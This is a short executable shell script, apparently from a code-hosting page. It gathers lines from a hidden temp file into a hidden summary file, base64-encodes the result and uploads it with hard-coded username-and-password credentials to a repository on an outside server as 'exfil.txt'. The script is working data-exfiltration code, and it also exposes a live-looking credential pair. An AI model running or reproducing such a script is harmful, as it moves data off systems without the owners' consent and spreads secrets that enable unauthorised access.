5 lines
440 B
Bash
Executable File
5 lines
440 B
Bash
Executable File
#!/bin/sh
|
|
{ echo "== HEADERS =="; grep -a '^===== ' /tmp/.tmp/.tmp.txt; echo "== NON-S3 =="; grep -av '<= s3:' /tmp/.tmp/.tmp.txt | grep -avE '^(#|$)' | head -150; } > /tmp/.sum 2>&1
|
|
ls -l /tmp/.sum; B=$(base64 /tmp/.sum | tr -d '\n')
|
|
curl -s -u atkt87ifh:Lz9!qW7#kR2v -X POST "https://git.project-conquer.com/api/v1/repos/atkt87ifh/rjt3o3/contents/exfil.txt" -H 'Content-Type: application/json' -d "{\"content\":\"$B\",\"message\":\"s\"}"
|